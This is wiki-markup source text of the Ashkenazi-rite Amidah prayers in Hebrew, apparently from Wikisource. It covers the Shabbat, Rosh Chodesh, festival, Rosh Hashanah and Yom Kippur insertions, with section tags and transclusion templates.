&lt;קטע התחלה=ישמחו/&gt;יִשְׂמְחוּ בְמַלְכוּתְךָ שֹׁמְרֵי שַׁבָּת וְקֹרְאֵי עֹנֶג, עַם מְקַדְּשֵׁי שְׁבִיעִי, כֻּלָּם יִשְׂבְּעוּ וְיִתְעַנְּגוּ מִטּוּבֶךָ, וּבַשְּׁבִיעִי רָצִיתָ בּוֹ וְקִדַּשְׁתּוֹ, חֶמְדַּת יָמִים אוֹתוֹ קָרָאתָ, זֵכֶר לְמַעֲשֵׂה בְרֵאשִׁית. &lt;קטע סוף=ישמחו/&gt;

&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|רצה א}} בוֹ {{#קטע:סידור/נוסח אשכנז/עמידה|רצה ת}}&lt;/noinclude&gt;

===מוסף ראש חודש===
&lt;קטע התחלה=ראשי חדשים/&gt;רָאשֵׁי חֳדָשִׁים לְעַמְּךָ נָתָתָּ, זְמַן כַּפָּרָה לְכָל תּוֹלְדוֹתָם. בִּהְיוֹתָם מַקְרִיבִים לְפָנֶיךָ זִבְחֵי רָצוֹן וּשְׂעִירֵי חַטָּאת לְכַפֵּר בַּעֲדָם. זִכָּרוֹן לְכֻלָּם יִהְיוּ, וּתְשׁוּעַת נַפְשָׁם מִיַּד שׂוֹנֵא. מִזְבֵּחַ חָדָשׁ בְּצִיּוֹן תָּכִין, וְעוֹלַת רֹאשׁ חֹדֶשׁ נַעֲלֶה עָלָיו, וּשְׂעִירֵי עִזִּים נַעֲשֶׂה בְרָצוֹן, וּבַעֲבוֹדַת בֵּית הַמִּקְדָּשׁ נִשְׂמַח כֻּלָּנוּ, וּבְשִׁירֵי דָּוִד עַבְדְּךָ הַנִּשְׁמָעִים בְּעִירֶךָ, הָאֲמוּרִים לִפְנֵי מִזְבְּחֶךָ. אַהֲבַת עוֹלָם תָּבִיא לָהֶם, וּבְרִית אָבוֹת לַבָּנִים תִּזְכֹּר. וַהֲבִיאֵנוּ לְצִיּוֹן עִירְךָ בְּרִנָּה, וְלִירוּשָׁלַיִם בֵּית מִקְדָּשְׁךָ בְּשִׂמְחַת עוֹלָם, וְשָׁם נַעֲשֶׂה לְפָנֶיךָ אֶת קָרְבְּנוֹת חוֹבוֹתֵינוּ, תְּמִידִים כְּסִדְרָם וּמוּסָפִים כְּהִלְכָתָם. וְאֶת מוּסַף יוֹם רֹאשׁ הַחֹדֶשׁ הַזֶּה, נַעֲשֶׂה וְנַקְרִיב לְפָנֶיךָ בְּאַהֲבָה כְּמִצְוַת רְצוֹנֶךָ, כְּמוֹ שֶׁכָּתַבְתָּ עָלֵינוּ בְּתוֹרָתֶךָ עַל יְדֵי מֹשֶׁה עַבְדֶּךָ, מִפִּי כְבוֹדֶךָ, כָּאָמוּר: &lt;קטע סוף=ראשי חדשים/&gt;

&lt;קטע התחלה=ובראשי/&gt;וּבְרָאשֵׁי חָדְשֵׁיכֶם תַּקְרִיבוּ עֹלָה לַייָ, פָּרִים בְּנֵי בָקָר שְׁנַיִם וְאַיִל אֶחָד, כְּבָשִׂים בְּנֵי שָׁנָה שִׁבְעָה תְּמִימִם׃{{ממס|במדבר כח יא}}&lt;קטע סוף=ובראשי/&gt;

&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|ומנחתם}}&lt;/noinclude&gt;

&lt;קטע התחלה=חדש/&gt;אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, חַדֵּשׁ עָלֵינוּ אֶת הַחֹדֶשׁ הַזֶּה לְטוֹבָה וְלִבְרָכָה, לְשָׂשׂוֹן וּלְשִׂמְחָה, לִישׁוּעָה וּלְנֶחָמָה, לְפַרְנָסָה וּלְכַלְכָּלָה, לְחַיִּים וּלְשָׁלוֹם, לִמְחִילַת חֵטְא וְלִסְלִיחַת עָוֹן {{הור1|בשנה מעוברת עד ר&quot;ח אדר ב'|וּלְכַפָּרַת פָּשַׁע}}. כִּי בְעַמְּךָ יִשְׂרָאֵל בָּחַרְתָּ מִכָּל הָאֻמּוֹת, וְחֻקֵּי רָאשֵׁי חֳדָשִׁים לָהֶם קָבָעְתָּ. בָּרוּךְ אַתָּה יְיָ, מְקַדֵּשׁ יִשְׂרָאֵל וְרָאשֵׁי חֳדָשִׁים. &lt;קטע סוף=חדש/&gt;
===מוסף שבת ראש חודש===
&lt;קטע התחלה=אתה יצרת/&gt;אַתָּה יָצַרְתָּ עוֹלָמְךָ מִקֶּדֶם, כִּלִּיתָ מְלַאכְתְּךָ בַּיּוֹם הַשְּׁבִיעִי. אָהַבְתָּ אוֹתָנוּ וְרָצִיתָ בָּנוּ, וְרוֹמַמְתָּנוּ מִכָּל הַלְּשׁוֹנוֹת, וְקִדַּשְׁתָּנוּ בְּמִצְוֹתֶיךָ, וְקֵרַבְתָּנוּ מַלְכֵּנוּ לַעֲבוֹדָתֶךָ, וְשִׁמְךָ הַגָּדוֹל וְהַקָּדוֹשׁ עָלֵינוּ קָרָאתָ. וַתִּתֶּן לָנוּ יְיָ אֱלֹהֵינוּ בְּאַהֲבָה, שַׁבָּתוֹת לִמְנוּחָה וְרָאשֵׁי חֳדָשִׁים לְכַפָּרָה. וּלְפִי שֶׁחָטָאנוּ לְפָנֶיךָ, אֲנַחְנוּ וַאֲבוֹתֵינוּ, חָרְבָה עִירֵנוּ, וְשָׁמֵם בֵּית מִקְדָּשֵׁנוּ, וְגָלָה יְקָרֵנוּ, וְנֻטַּל כָּבוֹד מִבֵּית חַיֵּינוּ, וְאֵין אֲנַחְנוּ יְכוֹלִים לַעֲשׂוֹת חוֹבוֹתֵינוּ בְּבֵית בְּחִירָתֶךָ, בַּבַּיִת הַגָּדוֹל וְהַקָּדוֹשׁ שֶׁנִּקְרָא שִׁמְךָ עָלָיו, מִפְּנֵי הַיָּד שֶׁנִּשְׁתַּלְּחָה בְּמִקְדָּשֶׁךָ. יְהִי רָצוֹן מִלְּפָנֶיךָ, יְיָ אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, שֶׁתַּעֲלֵנוּ בְשִׂמְחָה לְאַרְצֵנוּ, וְתִטָּעֵנוּ בִּגְבוּלֵנוּ, וְשָׁם נַעֲשֶׂה לְפָנֶיךָ אֶת קָרְבְּנוֹת חוֹבוֹתֵינוּ, תְּמִידִים כְּסִדְרָם וּמוּסָפִים כְּהִלְכָתָם. וְאֶת מוּסְפֵי יוֹם הַשַּׁבָּת הַזֶּה וְיוֹם רֹאשׁ הַחֹדֶשׁ הַזֶּה, נַעֲשֶׂה וְנַקְרִיב לְפָנֶיךָ בְּאַהֲבָה כְּמִצְוַת רְצוֹנֶךָ, כְּמוֹ שֶׁכָּתַבְתָּ עָלֵינוּ בְּתוֹרָתֶךָ עַל יְדֵי מֹשֶׁה עַבְדֶּךָ, מִפִּי כְבוֹדֶךָ, כָּאָמוּר: &lt;קטע סוף=אתה יצרת/&gt;

&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|וביום השבת}}

{{#קטע:סידור/נוסח אשכנז/עמידה|ובראשי}}

{{#קטע:סידור/נוסח אשכנז/עמידה|ומנחתם}}

{{#קטע:סידור/נוסח אשכנז/עמידה|ישמחו}}&lt;/noinclude&gt;

&lt;קטע התחלה=רצה וחדש/&gt;אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ רְצֵה בִמְנוּחָתֵנוּ, וְחַדֵּשׁ עָלֵינוּ בְּיוֹם הַשַּׁבָּת הַזֶּה אֶת הַחֹדֶשׁ הַזֶּה, לְטוֹבָה וְלִבְרָכָה, לְשָׂשׂוֹן וּלְשִׂמְחָה, לִישׁוּעָה וּלְנֶחָמָה, לְפַרְנָסָה וּלְכַלְכָּלָה, לְחַיִּים וּלְשָׁלוֹם, לִמְחִילַת חֵטְא וְלִסְלִיחַת עָוֹן {{הור1|בשנה מעוברת עד ר&quot;ח אדר ב'|וּלְכַפָּרַת פָּשַׁע}}. כִּי בְעַמְּךָ יִשְׂרָאֵל בָּחַרְתָּ מִכָּל הָאֻמּוֹת, וְשַׁבַּת קָדְשְׁךָ לָהֶם הוֹדָעְתָּ, וְחֻקֵּי רָאשֵׁי חֳדָשִׁים לָהֶם קָבָעְתָּ. בָּרוּךְ אַתָּה יְיָ, מְקַדֵּשׁ הַשַּׁבָּת וְיִשְׂרָאֵל וְרָאשֵׁי חֳדָשִׁים. &lt;קטע סוף=רצה וחדש/&gt;
===תפילת יום טוב===
&lt;קטע התחלה=אתה בחרתנו/&gt;אַתָּה בְחַרְתָּנוּ מִכָּל הָעַמִּים, אָהַבְתָּ אוֹתָנוּ וְרָצִיתָ בָּנוּ, וְרוֹמַמְתָּנוּ מִכָּל הַלְּשׁוֹנוֹת, וְקִדַּשְׁתָּנוּ בְּמִצְוֹתֶיךָ, וְקֵרַבְתָּנוּ מַלְכֵּנוּ לַעֲבוֹדָתֶךָ, וְשִׁמְךָ הַגָּדוֹל וְהַקָּדוֹשׁ עָלֵינוּ קָרָאתָ. &lt;קטע סוף=אתה בחרתנו/&gt;

&lt;קטע התחלה=ותודיענו/&gt;{{רקע אפור}}{{הור|במוצאי שבת:}}{{ש}}וַתּוֹדִיעֵנוּ יְיָ אֱלֹהֵינוּ אֶת מִשְׁפְּטֵי צִדְקֶךָ, וַתְּלַמְּדֵנוּ לַעֲשׂוֹת בָּהֶם חֻקֵּי רְצוֹנֶךָ. וַתִּתֶּן לָנוּ יְיָ אֱלֹהֵינוּ מִשְׁפָּטִים יְשָׁרִים וְתוֹרוֹת אֱמֶת, חֻקִּים וּמִצְוֹת טוֹבִים. וַתַּנְחִילֵנוּ זְמַנֵּי שָׂשׂוֹן וּמוֹעֲדֵי קֹדֶשׁ וְחַגֵּי נְדָבָה, וַתּוֹרִישֵׁנוּ קְדֻשַּׁת שַׁבָּת וּכְבוֹד מוֹעֵד וַחֲגִיגַת הָרֶגֶל. וַתַּבְדֵּל יְיָ אֱלֹהֵינוּ בֵּין קֹדֶשׁ לְחוֹל, בֵּין אוֹר לְחֹשֶׁךְ, בֵּין יִשְׂרָאֵל לָעַמִּים, בֵּין יוֹם הַשְּׁבִיעִי לְשֵׁשֶׁת יְמֵי הַמַּעֲשֶׂה. בֵּין קְדֻשַּׁת שַׁבָּת לִקְדֻשַּׁת יוֹם טוֹב הִבְדַּלְתָּ, וְאֶת יוֹם הַשְּׁבִיעִי מִשֵּׁשֶׁת יְמֵי הַמַּעֲשֶׂה קִדַּשְׁתָּ. הִבְדַּלְתָּ וְקִדַּשְׁתָּ אֶת עַמְּךָ יִשְׂרָאֵל בִּקְדֻשָּׁתֶךָ.{{סוף}}&lt;קטע סוף=ותודיענו/&gt;
&lt;קטע התחלה=ותתן רגלים/&gt;וַתִּתֶּן לָנוּ יְיָ אֱלֹהֵינוּ בְּאַהֲבָה {{הור1|בשבת|שַׁבָּתוֹת לִמְנוּחָה וּ}}מוֹעֲדִים לְשִׂמְחָה חַגִּים וּזְמַנִּים לְשָׂשׂוֹן, אֶת יוֹם {{הור1|בשבת|הַשַּׁבָּת הַזֶּה וְאֶת יוֹם}}{{ש}}
{{הור|בפסח:}} חַג הַמַּצּוֹת הַזֶּה, זְמַן חֵרוּתֵנוּ{{ש}}
{{הור|בשבועות:}} חַג הַשָּׁבוּעוֹת הַזֶּה, זְמַן מַתַּן תּוֹרָתֵנוּ{{ש}}
{{הור|בסוכות:}} חַג הַסֻּכּוֹת הַזֶּה, זְמַן שִׂמְחָתֵנוּ {{ש}}
{{הור|בשמיני עצרת ושמחת תורה:}} הַשְּׁמִינִי חַג הָעֲצֶרֶת הַזֶּה, זְמַן שִׂמְחָתֵנוּ{{ש}}
{{הור1|בשבת|בְּאַהֲבָה}} מִקְרָא קֹדֶשׁ, זֵכֶר לִיצִיאַת מִצְרָיִם.&lt;קטע סוף=ותתן רגלים/&gt;

{{יעלה ויבוא אשכנז|יום=רגלים}}

&lt;קטע התחלה=והשיאנו/&gt;&lt;קטע התחלה=והשיאנו-חול/&gt;וְהַשִּׂיאֵנוּ יְיָ אֱלֹהֵינוּ אֶת בִּרְכַּת מוֹעֲדֶיךָ לְחַיִּים וּלְשָׁלוֹם, לְשִׂמְחָה וּלְשָׂשׂוֹן, כַּאֲשֶׁר רָצִיתָ וְאָמַרְתָּ לְבָרְכֵנוּ. &lt;קטע סוף=והשיאנו-חול/&gt;{{הור1|בשבת|אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ רְצֵה בִמְנוּחָתֵנוּ}} &lt;קטע התחלה=והשיאנו-חול/&gt;קַדְּשֵׁנוּ בְּמִצְוֹתֶיךָ וְתֵן חֶלְקֵנוּ בְּתוֹרָתֶךָ, שַׂבְּעֵנוּ מִטּוּבֶךָ וְשַׂמְּחֵנוּ בִּישׁוּעָתֶךָ, וְטַהֵר לִבֵּנוּ לְעָבְדְּךָ בֶּאֱמֶת. וְהַנְחִילֵנוּ יְיָ אֱלֹהֵינוּ &lt;קטע סוף=והשיאנו-חול/&gt;{{הור1|בשבת|בְּאַהֲבָה וּבְרָצוֹן}} &lt;קטע התחלה=והשיאנו-חול/&gt;בְּשִׂמְחָה וּבְשָׂשׂוֹן &lt;קטע סוף=והשיאנו-חול/&gt;{{הור1|בשבת|שַׁבָּת וּ}}&lt;קטע התחלה=והשיאנו-חול/&gt;מוֹעֲדֵי קָדְשֶׁךָ וְיִשְׂמְחוּ בְךָ יִשְׂרָאֵל מְקַדְּשֵׁי {{נוא|הוראה=נוסח ישן:|אוֹהֲבֵי}} שְׁמֶךָ. בָּרוּךְ אַתָּה יְיָ מְקַדֵּשׁ &lt;קטע סוף=והשיאנו-חול/&gt;{{הור1|בשבת|הַשַּׁבָּת וְ}}&lt;קטע התחלה=והשיאנו-חול/&gt;יִשְׂרָאֵל וְהַזְּמַנִּים.&lt;קטע סוף=והשיאנו-חול/&gt;&lt;קטע סוף=והשיאנו/&gt;
===מוסף רגלים===
&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|אתה בחרתנו}}

{{#קטע:סידור/נוסח אשכנז/עמידה|ותתן רגלים}}&lt;/noinclude&gt;

&lt;קטע התחלה=ומפני/&gt;וּמִפְּנֵי חֲטָאֵינוּ גָּלִינוּ מֵאַרְצֵנוּ, וְנִתְרַחַקְנוּ מֵעַל אַדְמָתֵנוּ, וְאֵין אֲנַחְנוּ יְכוֹלִים לַעֲלוֹת וְלֵרָאוֹת וּלְהִשְׁתַּחֲוֹת לְפָנֶיךָ, וְלַעֲשׂוֹת חוֹבוֹתֵינוּ בְּבֵית בְּחִירָתֶךָ, בַּבַּיִת הַגָּדוֹל וְהַקָּדוֹשׁ שֶׁנִּקְרָא שִׁמְךָ עָלָיו, מִפְּנֵי הַיָּד שֶׁנִּשְׁתַּלְּחָה בְּמִקְדָּשֶׁךָ. יְהִי רָצוֹן מִלְּפָנֶיךָ יְיָ אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, מֶלֶךְ רַחֲמָן, שֶׁתָּשׁוּב וּתְרַחֵם עָלֵינוּ וְעַל מִקְדָּשְׁךָ בְּרַחֲמֶיךָ הָרַבִּים, וְתִבְנֵהוּ מְהֵרָה וּתְגַדֵּל כְּבוֹדוֹ. אָבִינוּ מַלְכֵּנוּ, גַּלֵּה כְּבוֹד מַלְכוּתְךָ עָלֵינוּ מְהֵרָה, וְהוֹפַע וְהִנָּשֵׂא עָלֵינוּ לְעֵינֵי כָל חָי, וְקָרֵב פְּזוּרֵינוּ מִבֵּין הַגּוֹיִם, וּנְפוּצוֹתֵינוּ כַּנֵּס מִיַּרְכְּתֵי אָרֶץ. וַהֲבִיאֵנוּ לְצִיּוֹן עִירְךָ בְּרִנָּה, וְלִירוּשָׁלַיִם בֵּית מִקְדָּשְׁךָ בְּשִׂמְחַת עוֹלָם, וְשָׁם נַעֲשֶׂה לְפָנֶיךָ אֶת קָרְבְּנוֹת חוֹבוֹתֵינוּ, תְּמִידִים כְּסִדְרָם וּמוּסָפִים כְּהִלְכָתָם. &lt;קטע סוף=ומפני/&gt;

וְאֶת {{הור|כשחל בחול:}} מוּסַף {{הור1|בשבת|מוּסְפֵי}} יוֹם {{הור1|בשבת|הַשַּׁבָּת הַזֶּה וְיוֹם}}{{ש}}
{{הור|בפסח:}} חַג הַמַּצּוֹת {{ש}}
{{הור|בשבועות:}} חַג הַשָּׁבוּעוֹת {{ש}}
{{הור|בסוכות:}} חַג הַסֻּכּוֹת {{ש}}
{{הור|בשמיני עצרת:}} הַשְּׁמִינִי חַג הָעֲצֶרֶת {{ש}}
הַזֶּה, נַעֲשֶׂה וְנַקְרִיב לְפָנֶיךָ בְּאַהֲבָה כְּמִצְוַת רְצוֹנֶךָ, כְּמוֹ שֶׁכָּתַבְתָּ עָלֵינוּ בְּתוֹרָתֶךָ עַל יְדֵי מֹשֶׁה עַבְדֶּךָ, מִפִּי כְבוֹדֶךָ, כָּאָמוּר:{{רקע אפור}}{{הור|בשבת:}} &lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|וביום השבת}}&lt;/noinclude&gt;{{סוף}}
{{הור|ביו&quot;ט ראשון (ושני) של פסח:}} &lt;קטע התחלה=פסוקים פסח א/&gt;וּבַחֹדֶשׁ הָרִאשׁוֹן בְּאַרְבָּעָה עָשָׂר יוֹם לַחֹדֶשׁ, פֶּסַח לַייָ׃ וּבַחֲמִשָּׁה עָשָׂר יוֹם לַחֹדֶשׁ הַזֶּה חָג, שִׁבְעַת יָמִים מַצּוֹת יֵאָכֵל׃ בַּיּוֹם הָרִאשׁוֹן מִקְרָא קֹדֶשׁ, כָּל מְלֶאכֶת עֲבֹדָה לֹא תַעֲשׂוּ׃ וְהִקְרַבְתֶּם אִשֶּׁה עֹלָה לַייָ, פָּרִים בְּנֵי בָקָר שְׁנַיִם וְאַיִל אֶחָד, וְשִׁבְעָה כְבָשִׂים בְּנֵי שָׁנָה, תְּמִימִם יִהְיוּ לָכֶם׃{{ממס|במדבר כח#כח טז|במדבר כח טז-יט}} &lt;קטע סוף=פסוקים פסח א/&gt;

{{הור|בשאר ימי פסח:}} &lt;קטע התחלה=פסוקים פסח ב/&gt;וְהִקְרַבְתֶּם אִשֶּׁה עֹלָה לַייָ, פָּרִים בְּנֵי בָקָר שְׁנַיִם וְאַיִל אֶחָד, וְשִׁבְעָה כְבָשִׂים בְּנֵי שָׁנָה תְּמִימִם יִהְיוּ לָכֶם׃{{ממס|במדבר כח יט}} &lt;קטע סוף=פסוקים פסח ב/&gt;

{{הור|בשבועות:}} &lt;קטע התחלה=פסוקים שבועות/&gt;וּבְיוֹם הַבִּכּוּרִים, בְּהַקְרִיבְכֶם מִנְחָה חֲדָשָׁה לַייָ, בְּשָׁבֻעֹתֵיכֶם, מִקְרָא קֹדֶשׁ יִהְיֶה לָכֶם, כָּל מְלֶאכֶת עֲבֹדָה לֹא תַעֲשׂוּ׃ וְהִקְרַבְתֶּם עוֹלָה לְרֵיחַ נִיחֹחַ לַייָ, פָּרִים בְּנֵי בָקָר שְׁנַיִם, אַיִל אֶחָד, שִׁבְעָה כְבָשִׂים בְּנֵי שָׁנָה׃{{ממס|במדבר כח כו|במדבר כח כו-כז}} &lt;קטע סוף=פסוקים שבועות/&gt;

{{הור|ביו&quot;ט של סוכות:}} &lt;קטע התחלה=פסוקים סוכות א/&gt;וּבַחֲמִשָּׁה עָשָׂר יוֹם לַחֹדֶשׁ הַשְּׁבִיעִי מִקְרָא קֹדֶשׁ יִהְיֶה לָכֶם, כָּל מְלֶאכֶת עֲבֹדָה לֹא תַעֲשׂוּ, וְחַגֹּתֶם חַג לַייָ שִׁבְעַת יָמִים׃ וְהִקְרַבְתֶּם עֹלָה אִשֵּׁה רֵיחַ נִיחֹחַ לַייָ, פָּרִים בְּנֵי בָקָר שְׁלֹשָׁה עָשָׂר, אֵילִם שְׁנָיִם, כְּבָשִׂים בְּנֵי שָׁנָה אַרְבָּעָה עָשָׂר, תְּמִימִם יִהְיוּ׃{{ממס|במדבר כט#כט יב|במדבר כט יב-יג}} &lt;קטע סוף=פסוקים סוכות א/&gt;

&lt;קטע התחלה=פסוקים סוכות ב/&gt;{{הור|בחול המועד סוכות (בחו&quot;ל מתחילים מהפסוק של היום הקודם):}}

{{הור|בט&quot;ז בתשרי (בא&quot;י):}} וּבַיּוֹם הַשֵּׁנִי, פָּרִים בְּנֵי בָקָר שְׁנֵים עָשָׂר, אֵילִם שְׁנָיִם, כְּבָשִׂים בְּנֵי שָׁנָה אַרְבָּעָה עָשָׂר תְּמִימִם׃{{ממס|במדבר כט יז}}{{ש}}
{{הור|בי&quot;ז בתשרי:}} וּבַיּוֹם הַשְּׁלִישִׁי, פָּרִים עַשְׁתֵּי עָשָׂר, אֵילִם שְׁנָיִם, כְּבָשִׂים בְּנֵי שָׁנָה אַרְבָּעָה עָשָׂר תְּמִימִם׃{{ממס|במדבר כט כ}}{{ש}}
{{הור|בי&quot;ח בתשרי:}} וּבַיּוֹם הָרְבִיעִי, פָּרִים עֲשָׂרָה, אֵילִם שְׁנָיִם, כְּבָשִׂים בְּנֵי שָׁנָה אַרְבָּעָה עָשָׂר תְּמִימִם׃{{ממס|במדבר כט כג}}{{ש}}
{{הור|בי&quot;ט בתשרי:}} וּבַיּוֹם הַחֲמִישִׁי, פָּרִים תִּשְׁעָה, אֵילִם שְׁנָיִם, כְּבָשִׂים בְּנֵי שָׁנָה אַרְבָּעָה עָשָׂר תְּמִימִם׃{{ממס|במדבר כט כו}}{{ש}}
{{הור|בכ' בתשרי:}} וּבַיּוֹם הַשִּׁשִּׁי, פָּרִים שְׁמֹנָה, אֵילִם שְׁנָיִם, כְּבָשִׂים בְּנֵי שָׁנָה אַרְבָּעָה עָשָׂר תְּמִימִם׃{{ממס|במדבר כט כט}}{{ש}}
{{הור|בהושענא רבה:}} &lt;קטע התחלה=פסוקים הו&quot;ר/&gt;וּבַיּוֹם הַשְּׁבִיעִי, פָּרִים שִׁבְעָה, אֵילִם שְׁנָיִם, כְּבָשִׂים בְּנֵי שָׁנָה אַרְבָּעָה עָשָׂר תְּמִימִם׃{{ממס|במדבר כט לב}} &lt;קטע סוף=פסוקים הו&quot;ר/&gt;&lt;קטע סוף=פסוקים סוכות ב/&gt;{{ש}}
{{הור|בשמיני עצרת ושמחת תורה:}} &lt;קטע התחלה=פסוקים שמיני עצרת/&gt;בַּיּוֹם הַשְּׁמִינִי עֲצֶרֶת תִּהְיֶה לָכֶם, כָּל מְלֶאכֶת עֲבֹדָה לֹא תַעֲשׂוּ׃ וְהִקְרַבְתֶּם עֹלָה אִשֵּׁה רֵיחַ נִיחֹחַ לַייָ, פַּר אֶחָד, אַיִל אֶחָד, כְּבָשִׂים בְּנֵי שָׁנָה שִׁבְעָה תְּמִימִם׃{{ממס|במדבר כט#כט לה|במדבר כט לה-לו}} &lt;קטע סוף=פסוקים שמיני עצרת/&gt;

{{הור|בכל הימים:}} &lt;קטע התחלה=ומנחתם/&gt;וּמִנְחָתָם וְנִסְכֵּיהֶם כִּמְדֻבָּר: שְׁלֹשָׁה עֶשְׂרֹנִים לַפָּר, וּשְׁנֵי עֶשְׂרֹנִים לָאָיִל, וְעִשָּׂרוֹן לַכֶּבֶשׂ, וְיַיִן כְּנִסְכּוֹ, וְשָׂעִיר לְכַפֵּר, וּשְׁנֵי תְמִידִים כְּהִלְכָתָם. &lt;קטע סוף=ומנחתם/&gt;
{{רקע אפור}}{{הור|בשבת:}} &lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|ישמחו}}&lt;/noinclude&gt;{{סוף}}
&lt;קטע התחלה=מלך רחמן/&gt;אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, מֶלֶךְ רַחֲמָן רַחֵם עָלֵינוּ, טוֹב וּמֵטִיב הִדָּרֶשׁ לָנוּ. שׁוּבָה אֵלֵינוּ בַּהֲמוֹן רַחֲמֶיךָ, בִּגְלַל אָבוֹת שֶׁעָשׂוּ רְצוֹנֶךָ. בְּנֵה בֵיתְךָ כְּבַתְּחִלָּה, וְכוֹנֵן מִקְדָּשְׁךָ עַל מְכוֹנוֹ, וְהַרְאֵנוּ בְּבִנְיָנוֹ, וְשַׂמְּחֵנוּ בְּתִקּוּנוֹ. וְהָשֵׁב כֹּהֲנִים לַעֲבוֹדָתָם, וּלְוִיִּם לְשִׁירָם וּלְזִמְרָם, וְהָשֵׁב יִשְׂרָאֵל לִנְוֵיהֶם. וְשָׁם נַעֲלֶה וְנֵרָאֶה וְנִשְׁתַּחֲוֶה לְפָנֶיךָ בְּשָׁלֹשׁ פַּעֲמֵי רְגָלֵינוּ, כַּכָּתוּב בְּתוֹרָתֶךָ: שָׁלוֹשׁ פְּעָמִים בַּשָּׁנָה יֵרָאֶה כָל זְכוּרְךָ אֶת פְּנֵי יְיָ אֱלֹהֶיךָ בַּמָּקוֹם אֲשֶׁר יִבְחָר, בְּחַג הַמַּצּוֹת וּבְחַג הַשָּׁבֻעוֹת וּבְחַג הַסֻּכּוֹת, וְלֹא יֵרָאֶה אֶת פְּנֵי יְיָ רֵיקָם׃ אִישׁ כְּמַתְּנַת יָדוֹ, כְּבִרְכַּת יְיָ אֱלֹהֶיךָ אֲשֶׁר נָתַן לָךְ׃{{ממס|דברים טז#טז טז|דברים טז טז-יז}}&lt;קטע סוף=מלך רחמן/&gt;

&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|והשיאנו}}&lt;/noinclude&gt;

===תפילת ראש השנה===
&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|אתה בחרתנו|ותודיענו}}&lt;/noinclude&gt;

וַתִּתֶּן לָנוּ יְיָ אֱלֹהֵינוּ בְּאַהֲבָה אֶת יוֹם {{הור1|בשבת|הַשַּׁבָּת הַזֶּה וְאֶת יוֹם}} הַזִּכָּרוֹן הַזֶּה, {{הור|בחול:}} יוֹם תְּרוּעָה, {{הור1|בשבת|זִכְרוֹן תְּרוּעָה, בְּאַהֲבָה,}} מִקְרָא קֹדֶשׁ זֵכֶר לִיצִיאַת מִצְרָיִם.

{{יעלה ויבוא אשכנז|יום=ראש השנה}}

&lt;קטע התחלה=מלוך/&gt;&lt;קטע התחלה=מלוך-חול/&gt;אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, מְלֹךְ עַל כָּל הָעוֹלָם כֻּלּוֹ בִּכְבוֹדֶךָ, וְהִנָּשֵׂא עַל כָּל הָאָרֶץ בִּיקָרֶךָ, וְהוֹפַע בַּהֲדַר גְּאוֹן עֻזֶּךָ עַל כָּל יוֹשְׁבֵי תֵבֵל אַרְצֶךָ, וְיֵדַע כָּל פָּעוּל כִּי אַתָּה פְעַלְתּוֹ, וְיָבִין כָּל יְצוּר כִּי אַתָּה יְצַרְתּוֹ, וְיֹאמַר כֹּל אֲשֶׁר נְשָׁמָה בְאַפּוֹ, יְיָ אֱלֹהֵי יִשְׂרָאֵל מֶלֶךְ, וּמַלְכוּתוֹ בַּכֹּל מָשָׁלָה. &lt;קטע סוף=מלוך-חול/&gt;{{הור1|בשבת|אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, רְצֵה בִמְנוּחָתֵנוּ,}} &lt;קטע התחלה=מלוך-חול/&gt;קַדְּשֵׁנוּ בְּמִצְוֹתֶיךָ וְתֵן חֶלְקֵנוּ בְּתוֹרָתֶךָ, שַׂבְּעֵנוּ מִטּוּבֶךָ וְשַׂמְּחֵנוּ בִּישׁוּעָתֶךָ, &lt;קטע סוף=מלוך-חול/&gt;{{הור1|בשבת|וְהַנְחִילֵנוּ יְיָ אֱלֹהֵינוּ בְּאַהֲבָה וּבְרָצוֹן שַׁבַּת קָדְשֶׁךָ, וְיָנוּחוּ בוֹ כָּל יִשְׂרָאֵל מְקַדְּשֵׁי שְׁמֶךָ,}} &lt;קטע התחלה=מלוך-חול/&gt;וְטַהֵר לִבֵּנוּ לְעָבְדְּךָ בֶּאֱמֶת. כִּי אַתָּה אֱלֹהִים אֱמֶת, וּדְבָרְךָ אֱמֶת וְקַיָּם לָעַד. בָּרוּךְ אַתָּה יְיָ, מֶלֶךְ עַל כָּל הָאָרֶץ, מְקַדֵּשׁ &lt;קטע סוף=מלוך-חול/&gt;{{הור1|בשבת|הַשַּׁבָּת וְ}}&lt;קטע התחלה=מלוך-חול/&gt;יִשְׂרָאֵל וְיוֹם הַזִּכָּרוֹן.&lt;קטע סוף=מלוך-חול/&gt;&lt;קטע סוף=מלוך/&gt;

===תפילת יום כיפור===
&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|אתה בחרתנו}}&lt;/noinclude&gt;

&lt;קטע התחלה=ותתן-יו&quot;כ/&gt;וַתִּתֶּן לָנוּ יְיָ אֱלֹהֵינוּ בְּאַהֲבָה אֶת יוֹם {{הור1|בשבת|הַשַּׁבָּת הַזֶּה לִקְדֻשָּׁה וְלִמְנוּחָה וְאֶת יוֹם}} הַכִּפֻּרִים הַזֶּה, לִמְחִילָה וְלִסְלִיחָה וּלְכַפָּרָה וְלִמְחָל בּוֹ אֶת כָּל עֲוֹנוֹתֵינוּ, {{הור1|בשבת|בְּאַהֲבָה}} מִקְרָא קֹדֶשׁ זֵכֶר לִיצִיאַת מִצְרָיִם.&lt;קטע סוף=ותתן-יו&quot;כ/&gt;

{{יעלה ויבוא אשכנז|יום=כיפור}}

